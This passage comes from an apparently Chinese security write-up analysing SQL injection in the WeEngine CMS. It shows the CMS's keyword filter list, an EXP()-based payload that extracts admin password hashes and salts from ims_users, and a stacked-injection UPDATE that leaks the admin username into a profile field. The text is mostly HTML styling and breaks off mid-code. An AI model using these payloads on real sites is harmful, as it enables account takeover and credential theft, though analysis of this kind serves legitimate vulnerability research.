rgb(34, 34, 34);text-align: start;background-color: rgb(255, 255, 255);"><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;"><span style="color: var(--primary-very-high);font-weight: bold;">private</span> <span style="color: var(--tertiary-high);">static</span> <span style="color: var(--hljs-attribute);">$disable</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<br/>        <span style="color: var(--hljs-string);">&#39;function&#39;</span> =&gt; <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;load_file&#39;</span>, <span style="color: var(--hljs-string);">&#39;floor&#39;</span>, <span style="color: var(--hljs-string);">&#39;hex&#39;</span>, <span style="color: var(--hljs-string);">&#39;substring&#39;</span>, <span style="color: var(--hljs-string);">&#39;if&#39;</span>, <span style="color: var(--hljs-string);">&#39;ord&#39;</span>, <span style="color: var(--hljs-string);">&#39;char&#39;</span>, <span style="color: var(--hljs-string);">&#39;benchmark&#39;</span>, <span style="color: var(--hljs-string);">&#39;reverse&#39;</span>, <span style="color: var(--hljs-string);">&#39;strcmp&#39;</span>, <span style="color: var(--hljs-string);">&#39;datadir&#39;</span>, <span style="color: var(--hljs-string);">&#39;updatexml&#39;</span>, <span style="color: var(--hljs-string);">&#39;extractvalue&#39;</span>, <span style="color: var(--hljs-string);">&#39;name_const&#39;</span>, <span style="color: var(--hljs-string);">&#39;multipoint&#39;</span>, <span style="color: var(--hljs-string);">&#39;database&#39;</span>, <span style="color: var(--hljs-string);">&#39;user&#39;</span>),<br/>        <span style="color: var(--hljs-string);">&#39;action&#39;</span> =&gt; <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;@&#39;</span>, <span style="color: var(--hljs-string);">&#39;intooutfile&#39;</span>, <span style="color: var(--hljs-string);">&#39;intodumpfile&#39;</span>, <span style="color: var(--hljs-string);">&#39;unionselect&#39;</span>, <span style="color: var(--hljs-string);">&#39;uniondistinct&#39;</span>, <span style="color: var(--hljs-string);">&#39;information_schema&#39;</span>, <span style="color: var(--hljs-string);">&#39;current_user&#39;</span>, <span style="color: var(--hljs-string);">&#39;current_date&#39;</span>),<br/>        <span style="color: var(--hljs-string);">&#39;note&#39;</span> =&gt; <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;/*&#39;</span>, <span style="color: var(--hljs-string);">&#39;*/&#39;</span>, <span style="color: var(--hljs-string);">&#39;#&#39;</span>, <span style="color: var(--hljs-string);">&#39;--&#39;</span>),<br/>    );<br/></code></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n157" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">可以看到禁用了以下函数：</span><br/></p><ul class="list-paddingleft-2" cid="n160" mdtype="list" data-mark="*" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n162" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">load_file、floor、hex、substring、if、ord、char、benchmark、reverse、reverse、strcmp、datadir、datadir、updatexml、extractvalue、name_const、multipoint、database、user</span></p></li></ul><p cid="n163" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">禁用了以下关键字：</span></p><ul class="list-paddingleft-2" cid="n164" mdtype="list" data-mark="*" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n166" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">@、into outfile、into dumpfile、union select、union all、union distinct、information_schema、current_user、current_date</span></p></li></ul><p cid="n167" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">禁用了以下注释符：</span></p><ul class="list-paddingleft-2" cid="n168" mdtype="list" data-mark="*" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n170" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">/*</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">*/</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">--</code><span md-inline="plain" style="box-sizing: border-box;">、</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">#</code></span></span></span></span></p></li></ul><p cid="n32" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">所以对于构造 payload 来说还是造成了一定的麻烦。</span></p><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">首先将函数中 SQL 语句还原如下：</span></p><pre spellcheck="false" lang="sql" cid="n34" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-size: 0.9rem;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;padding: 3px 5px;width: inherit;border-width: 1px;border-style: solid;border-color: rgb(122, 122, 122);-webkit-font-smoothing: initial;line-height: 1.55rem;border-radius: 2px;overflow-wrap: normal;font-family: &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;margin-top: 2rem !important;margin-bottom: 2rem !important;"> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">SELECT</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">`id`</span><span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">`keyword`</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> ims_qrcode <span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">`scene_str`</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 136, 85);">? </span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">and</span> uniacid <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> $_W<span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);">&#39;uniacid&#39;</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span><span style="box-sizing: border-box;">;</span></span></pre><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">那么如果我们想查询到管理员账号密码且不包含相关敏感字符，则可以使用 exp语句，如下示例：</span></p><pre spellcheck="false" lang="sql" cid="n36" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-size: 0.9rem;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;padding: 3px 5px;width: inherit;border-width: 1px;border-style: solid;border-color: rgb(122, 122, 122);-webkit-font-smoothing: initial;line-height: 1.55rem;border-radius: 2px;overflow-wrap: normal;font-family: &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;margin-top: 2rem !important;margin-bottom: 2rem !important;"> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">SELECT</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">`id`</span><span style="box-sizing: border-box;">,</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">`keyword`</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">FROM</span> ims_qrcode <span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">`scene_str`</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">AND</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>EXP<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span>~<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">SELECT</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select </span>group_concat<span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x7B</span><span style="box-sizing: border-box;">,</span>uid<span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x23</span><span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">password</span><span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x23</span><span style="box-sizing: border-box;">,</span>salt<span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x23</span><span style="box-sizing: border-box;">,</span>lastvisit<span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x23</span><span style="box-sizing: border-box;">,</span>lastip<span style="box-sizing: border-box;">,</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">0x7D</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span> we7<span style="box-sizing: border-box;color: rgb(0, 85, 170);">.ims_users</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span>a<span style="box-sizing: border-box;color: rgb(153, 153, 119);">)))</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">and</span> uniacid <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> $_W<span style="box-sizing: border-box;color: rgb(153, 153, 119);">[</span><span style="box-sizing: border-box;color: rgb(34, 162, 201);">&#39;uniacid&#39;</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">]</span><span style="box-sizing: border-box;">;</span></span></pre><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">具体构建由于本地 MySQL 版本不合适，因此就不写了。</span></p><p cid="n38" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">这里来说下另一种注入方式。</span></p><p cid="n39" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">我们知道微擎里的 SQL 语句使用的是 PDO 查询，因此支持堆叠注入。</span></p><p cid="n40" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">但要注意的是，使用 PDO 执行 SQL 语句时，虽然可以执行多条 SQL语句，但只会返回第一条 SQL 语句的执行结果，所以第二条语句中需要使用 update 更新数据且该数据我们可以通过页面看到，这样才可以获取数据。</span></p><p cid="n41" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">经过测试发现，微擎支持注册用户，如下图所示：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6086956521739131" data-s="300,640" style="" data-type="png" data-w="2530" src="https://wechat2rss.xlab.app/img-proxy/?k=cd734a5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8CgXBNhAR9MT0oFKwsKXFhXpNrt4oicPvr8GwvAqav8yBibN9xwdK13g1CA%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n43" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">登陆后可以在个人中心看到：</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6412017167381975" data-s="300,640" style="" data-type="png" data-w="2330" src="https://wechat2rss.xlab.app/img-proxy/?k=49cb09bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8CgPDcpEzkNP8XFC6e7D9GtjxVcASxGO1Bg96eEu3lu6zbr5hNqplLXUQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n45" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">邮寄地址就是一个很好的显示地方，也就是说可以执行以下语句。</span><br/></p><pre spellcheck="false" lang="sql" cid="n46" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-size: 0.9rem;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;padding: 3px 5px;width: inherit;border-width: 1px;border-style: solid;border-color: rgb(122, 122, 122);-webkit-font-smoothing: initial;line-height: 1.55rem;border-radius: 2px;overflow-wrap: normal;font-family: &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;margin-top: 2rem !important;margin-bottom: 2rem !important;"> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">update</span> ims_users_profile <span style="box-sizing: border-box;color: rgb(119, 0, 136);">set</span> address<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(153, 153, 119);">(</span><span style="box-sizing: border-box;color: rgb(119, 0, 136);">select</span> username <span style="box-sizing: border-box;color: rgb(119, 0, 136);">from</span> ims_users <span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span> uid <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> <span style="box-sizing: border-box;color: rgb(153, 153, 119);">)</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">where</span> uid<span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span><span style="box-sizing: border-box;color: rgb(17, 102, 68);">2</span><span style="box-sizing: border-box;">;</span></span></pre><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">语句中的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">2</code><span md-inline="plain" style="box-sizing: border-box;">是注册后账号的uid，可以从 cookie中找到：</span><span md-inline="softbreak" style="box-sizing: border-box;"></span><span md-inline="image" data-src="/Users/panda/Desktop/4.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;margin: 24px auto;border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;"></span></span></p><p cid="n47" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><img class="rich_pages" data-galleryid="" data-ratio="0.4521604938271605" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="1296" src="https://wechat2rss.xlab.app/img-proxy/?k=ed0ced8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8CgbRrOqRicXGIIRQD7SV4WVkpubiabyvMObcdQKToAxMZpfQ72Rg5BgpRw%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p cid="n48" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">但是这里有一个问题，就是在我们注入的时候，首先要验证：</span></p><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">api.php</code><span md-inline="plain" style="box-sizing: border-box;"> 181行：</span></span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;text-align: start;"></span></p><pre style="text-align: start;font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);"><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;"><span style="color: var(--primary-very-high);font-weight: bold;">if</span>(<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;account)) {<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">exit</span>(<span style="color: var(--hljs-string);">&#39;Miss Account.&#39;</span>);<br/>}<br/><span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;account-&gt;checkSign()) {<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">exit</span>(<span style="color: var(--hljs-string);">&#39;Check Sign Fail.&#39;</span>);<br/>}</code></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="plain" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;">跟进</span><span md-inline="code" spellcheck="false" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">checkSign()</code><span md-inline="plain" style="box-sizing: border-box;">：</span></span></span><br/></p><p cid="n49" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="color: var(--mid-13);word-spacing: 0.05rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></p><p cid="n51" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"></span></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: start;white-space: normal;color: rgb(34, 34, 34);font-family: Arial, sans-serif;font-size: 14px;background-color: rgb(255, 255, 255);"><span style="color: var(--primary-very-high);font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;font-weight: bold;">public</span><span style="color: var(--primary-very-high);font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;"> </span><span style="color: var(--primary-very-high);font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;"><span style="color: var(--primary-very-high);font-weight: bold;">function</span> <span style="color: var(--hljs-string);font-weight: bold;">checkSign</span>() </span><span style="color: var(--primary-very-high);font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;">{</span><br/></p><pre style="text-align: start;font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);"><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;">        <span style="color: 